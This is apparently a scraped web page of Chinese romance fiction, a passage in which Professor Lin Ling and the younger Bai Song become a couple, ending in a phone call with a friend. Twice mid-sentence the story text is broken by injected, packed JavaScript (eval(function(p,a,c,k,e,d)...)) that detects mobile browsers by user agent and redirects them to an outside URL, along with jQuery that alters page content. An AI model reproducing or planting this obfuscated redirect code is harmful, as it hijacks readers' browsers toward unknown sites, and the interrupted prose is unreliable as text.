被骂的当事人有些无奈地看向他,那双凤眼里面还是有化不开的笑意。林泠气得几乎要委屈起来,眼睛死死盯着自己这个便宜男朋友,本就没褪去红意的眼眶又有泛上来的趋势。 他也不知道自己委屈什么……但是总感觉自己被人莫名其妙欺负了一通还不知道怎么办,忍不住难过起来。 白凇看他真不开心了一下子慌了,凑上去慌乱道:“你怎么了……我错了,别伤心好不好,我……” 林泠整个人忽然和脱力一样,软软地倒在了他的怀里。他迷茫地望着远处,视线没有一个交汇的点,良久抬起手,似有若无地圈住了白凇的腰。此人微微一愣,随即一阵狂喜涌上心头,他把自家小教授搂进怀里,笑着问:“你是不是算答应我了啊——那我是不是可以叫你老婆了?” 林教授被这人死不要脸的得寸进尺活活气笑了,终于舍得开口赏了他一个字: “滚。” 白凇无辜眨眼:“我不滚。” 林泠感觉自己哪怕只有一口气也能被这个狗东西气活:“……你要不要脸?” “我妈说过讨老婆不能要脸。”白凇笑道。他趁着林泠没反应过来又吻了一次,还顺手捏了捏脸:“我去给你弄饭。你要再躺会儿还是我帮你把衣服换了?” 林泠闭了闭眼,没有食欲只有满脑子把他掐死的念头。最后寻思着自己衣冠不整躺在床上太奇怪了,沉默许久最后还是让白凇帮着他把衣服换了。 白凇按照林泠的口味清炒了几个小菜,端过去时,教授懒懒靠在沙发靠背上,手上拿着一份文件阅读着,身上家居服松松垮垮挂着领口,丝毫没有意识到自己脖子上的痕迹有多明显。 白凇不明显地一顿,最终还是平稳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15549404|171157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地端了过去。 林泠的身体本来就算不上好,昨晚又被那么狠得折腾完,眉宇间都挂了几分疲惫。他细白的指尖松松捏了一个糖包子,被某人搂在怀里,有一下没一下得吻着。林教授实在是耳朵发热,手轻轻拍了两下白凇的大腿,警告道:“别乱动。” 姓白的玩意儿哪里会理他——这货最会的就是得寸进尺了,他寻思着没有拒绝本身就是最大的特殊和含金量了,这个脸冷心软的教授指不定多喜欢自己呢。 白凇握住他的手腕,凑近些,一脸期待地问道:“教授,我有名分吗?” 林泠呆了一下。 反应过来时刚下去的血色又唰地一下涌上来,气恼的想抽回手:“什么名分不名分的……” 白凇也是早就算准了他这个反应,立马又开始装可怜央求:“求你了……我这么喜欢你阿教授,你不能丢下我不管啊。” 被拿捏得死死的林教授用力闭了闭眼,漂亮的眼睛里是看不见边际的羞耻和恼怒。他平日里基本上都把时间花在学术上,对于这些手段应付实在有些勉强,遇见这种耍无赖的简直就是秀才遇到兵有理说不清,半天才咬牙道:“……你爱怎样怎样。” 言下之意再清楚不过了。白凇眼睛唰一下亮了:“好!” 林泠也不知道自己到底是不是做出了明智的选择……但是实话实说他确实没法在对方那样的眼神里拒绝他。 他不是不知道自己容易心软,平时哪怕对学生看上去严厉每次发现学生尽力了之后也会叹口气打高分,每次遇到这种时候他就很容易因为别人的服软而不忍心拒绝。说完这句话之后他完全没有意识到自己耳尖红得惹眼,身上一轻,直接被打横抱起来,甚至还轻轻颠了一下。 ……他好歹也是一个成年男性,而且并不算矮也有将近一米八,抱得这么轻松科学吗?! 他终于意识到自己究竟招惹了一个什么祸害,心下有些发慌,然而白凇只是抱着他坐到床上,收拾好被褥,往他后腰垫了一个枕头,捧着他脸亲了一下。林泠原本隐隐作痛的腰部总算是得以缓和,被白凇如此妥帖地照顾,一时也不知道应该说什么,只得有些恼意地说:“……不要随便亲我。” 白凇有点绷不住了。 其实林教授看起来瘦瘦高高,真抱起来了挺小一只的,明显比正常人轻,脊背线条清瘦,犯傲娇的时候脸上泛着红,精致的眉眼让人生不出一丝脾气。 怎么和只兔子一样……这也太好欺负了。 装听不懂的白某人一脸无辜地凑近,似乎很惊讶于他刚才说的那句话: “为什么?我俩不是算在一起了吗。” 被自己没守住的底线抽了一下脸的林教授为了捍卫自己最后一分面皮闭眼道:“……没有的事。” 他刚想说自己根本就没正面答应,白凇歪了一下脑袋,似笑非笑地盯着他的眼睛,说:“这就不对了吧教授,你这总不能睡了不认账吧。” 16.第 16 章 林泠彻底被这人厚得能防核弹的脸皮震撼到脚底下走了三魂头顶上飞了七魄,整个三观已然碎成了渣渣——这么离谱,这么不要脸,这么混账的东西放在梦里也是很有杀伤力的。 “明明……”林泠被气得舌头都快捋不清了,“明明是你……” 不要脸的那位挑眉:“我什么?” “……” 林泠恨恨地盯着他,因为委屈导致的鼻酸得越发难受。想着自己打又打不过挣扎又挣扎不了还得被这个混账东西占便宜,眼泪终于控制不住掉了下来。Zerak吓了一跳,一把把他抱进怀里:“宝宝我开玩笑的……” 开你大爷。 林泠很少哭,他总是习惯性压抑自己的情绪,哭泣这种外耗发泄方式他几乎是不用的。可是他此时从身到心都因为眼前的人发生了剧变,没法再好好控制自己的反射弧。这眼泪也是一开闸就有点收不住,哪怕白凇哄得及时也是不受控制扑朔落了几滴。见真把人惹哭了白凇只能更加软下语气,主动擦拭掉林泠脸上的眼泪,瞅见他红红的眼眶和鼻头,简直要被这个诱而不自知的神人给迷得找不着北。林泠不是很习惯和人对视,轻轻抽了一下鼻子,眼睫毛湿成一绺一绺的,又被得寸进尺亲了亲嘴唇。 “教授你这样看起来实在是很好欺负……”白凇叹气道,“你这样我真的忍不住……实在不行你收着点你的个人魅力好不好,我真的扛不住,我错了我不应该惹你生气,你实在不行把我当条狗栓在这呢,我实在是受不了没法在你身边……” 林泠实在是不能理解这个天才的大脑回路,但是用做他狗来惊吓他的人确实不止他一个,看他都这么说了也不知道咋办,沉默了一会儿说:“哪有你这么埋汰自己的……别气我了。” 白凇自然也是满口答应的。 林泠虽然别扭但是本质上也很擅长坦然面对自己——他知道自己喜欢这小男生是事实,虽然不知道具体是什么原因(可能是图他好看?帅确实是很帅的),但是既然他知道了也不可能采取回避的态度,有些无奈地接受了躺在白凇怀里这件事情。他用着自己丝毫没有意识到自己在用一种很认真的眼神端详着白凇,直到对上白凇带点笑意的眼神才发现自己有事没事冲着别人脸发呆,顿时感到头疼欲裂,自暴自弃地捏住了眉心。 “你能喜欢我这张脸我很荣幸教授。”白凇说,“我希望你能继续维持这个审美,别到时候哪天又嫌弃我了我真的会哭的。” 林教授无语地看着他,心道谁敢随便嫌弃你整个项目组谁要是敢看不起你都得被其他人问候吧,又不是不知道自己在学术界的地位,他哪能嫌弃他……最后他善良地选择配合他的演出,“嗯”了一声,手自然垂下去,状若无意地将手塞进他掌心。白凇哪能放过这个,立刻抬起手抓住新晋男朋友的手和他十指相扣,憋着笑说: “我能叫你老婆吗。” “……人,不管怎么说,不应该得寸进尺到这个地步吧。” 白凇能从他嘴里听到情绪这么饱满的长句子真的很感动,由衷说:“希望你以后能经常这样和我说话。”而不是冷冰冰公事公办的。 林泠终于忍不住炸毛了:“你神经病吧?” “没有啊,我要是神经病您也看不上我吧,我还想尽职尽责当您对象呢疯肯定是不能疯的。”白凇笑道。“老婆你想吃什么我把要买的菜外卖来给你做。” 房间里下一秒响起了一声清脆的巴掌声。 “……你这小孩哪学的这些乱七八糟的。”林泠没好气地去揪他耳朵,骨子里那股刻薄劲终于忍不住透了出来,“一天天的油嘴滑舌,也不知道干点好事——去帮我倒杯水。” 白凇被他这不轻不重的一巴掌扇得有些发愣,眨巴眨巴眼睛,老老实实帮老婆倒水去了。林教授冷漠接过杯子,低头喝了两口放到了一边,没好气地指了一下自己身边:“坐过来。” 白凇刚听他的坐下来,领子一下子被人揪住了。他不由自主往前靠了一下,然后看到那双漂亮的蓝眼睛冷冷地盯着他,说:“别整天和我搞这些有的没的的,该干嘛干嘛一定要谈我陪你谈,但是你这边拿不出态度我也不会配合的。我俩年龄差放在这里,我没有那么多时间精力陪你耗,如果你只是玩玩那我想到昨天那个地步也够了,趁早该从哪里来到哪里去。” 领口一松,他看着林泠原本一直有些紧张的面部表情在这几十秒里面恢复了和平日里一样的冷淡威严,只是脖颈上的痕迹看起来有些碍眼。好在白凇完全能够理解他的顾虑,也完全不准备避讳,坦然道:“我确确实实喜欢你,从我见到你第一眼开始我就喜欢你,想方设法接近你也是为了追你。我没有要和你玩玩的意思,只要你愿意我很愿意和你一直谈下去。” 林泠沉默了一下,说:“……你年纪不大,可能对感情包括我本人都没有足够的了解,可能确实容易抱有一些幻想……” “不是。” 白凇干脆地打断了他。 “和年龄没关系,喜欢就是喜欢,我没必要在这件事情上玩什么心眼,如果连这个都要修饰之后再拿给别人,那我的真心未免也太不值钱了一点。” 林泠皱眉:“你动不动把真心掏出来,万一所托非人那对你就是一个巨大的伤害,你自己有没有考虑过……” “教授,”白凇无奈地再次打断他的自我贬低,“你怎么对自己这么没自信?” 林泠被他一句话又噎住了。 “昨天晚上你和我说你不好看让我不要看你,刚见面的时候你叫我不要对你抱有太大的期待,现在你又在这里假设我所托非人。”白凇看着他的眼睛,“你为什么要在我面前这么一而再再而三地贬低自己?你难道不够好吗?你应该觉得你这么优秀这么漂亮我喜欢你理所应当才是。” 林泠确实一直没有很把自己当回事。这个世界上优秀的人这么多,他平时也都把精力放在教书和学术上了,没有精力去分给自己的外貌,干净整洁就好了,加上满打满算凑不出一对双亲,他从小就是在一个极端缺爱的环境里面长大的。 他做不到如白凇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15549405|171157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一般坦然。 “……谢谢你。”林泠叹了口气。“但是我还是想劝你想想清楚,毕竟感情这个东西有些时候实在是马虎不得。” 我也没有时间没有足够的爱承受你“玩玩”带来的无尽痛苦。他在心理上面本来就有些不健全,哪怕调理了这么多年,心里的漏洞始终豁着口。 他等待着白凇继续沉默或者答应,但是对方只是很平静地迎视着他,微笑道: “我从看见你第一眼的时候就想清楚了。” “什么?!你有对象了???” 白凇根本没有开扬声器,但是哪怕是坐在边上的林泠都能清晰听见这声来自直男单身狗的怒吼。 “啊对,咋了谁都和你似的连个对象都没有,维持22年单身。”白凇嘲笑道,丝毫没有因为自己刚刚才有了老婆而感到有一丝心虚,“你嫂子可漂亮了你就羡慕吧,你继续单身吧我跑路了。” 秦逑:“比你大还是比你小?” 白凇:“比我大啊。” 秦逑:“你小子居然喜欢姐姐这一挂的?!我一直以为你应该喜欢那种长得比较萌的,你一搞搞一个比你大的?!” 白凇安静了一瞬间,收到了老婆平静到瘆人的目光,非常想让自己的手穿过手机屏幕给这个神经病一个响亮的大嘴巴子:“……谁和你说是姐姐的,我又没谈过你揣测我喜欢什么类型干什么,你是不是神经病……” “男的?!!!你他爹的还是个gay?!” “……” 高材生反应就是快哈。 面对秦逑震惊的怒吼白某诡异地沉默了一下,不好意思这才后知后觉渗出来一点——在遇见林泠之前他真的以为自己喜欢女的,因为自己看谁都没感觉还真心实意质疑了一下自己是不是养胃,从来没有往自己是男同那方面想过……虽然他对男的也没感觉就是了。 他之前觉得一定是自己被数学迫害到荷尔蒙失调了才这样,敢情是没碰见喜欢的,昨天晚上迫害了教授两个多小时现在还生他气,整个状况发展到今天这个地步其实对于每个人都算飞流直下三千尺——反应不过来。 “你听我解释,”白凇终于开始试图挽救一下这份友谊,“就是我遇见你嫂子之前我也不知道我喜欢男的,我之前跟你说我是直的单纯是我也以为我是直的,没有要骗你的意思。” 秦逑是一个非常标准的直男——完完全全的直男,铁直,对于男性没有一丁点的生理欲望也从来不做那种似是而非的越轨行为,对于这种直男来说,他们是完全不能理解同性恋的存在的,哪怕只是想想就是一股恶寒,加上漂亮国那边的男同比较恶俗他也是不受控制地有点刻板印象,活活给自己好兄弟这些话给气笑了:“你他爹的到底受什么刺激了,你怎么可能喜欢男的,你要是喜欢男的那我整个学校都是gay——你到底想干什么,你别是玩玩霍霍人家的吧?!” 白凇大惊失色:“?!你他爹的别当着你嫂子面乱说,什么玩玩我是认真的,你……” “白凇。”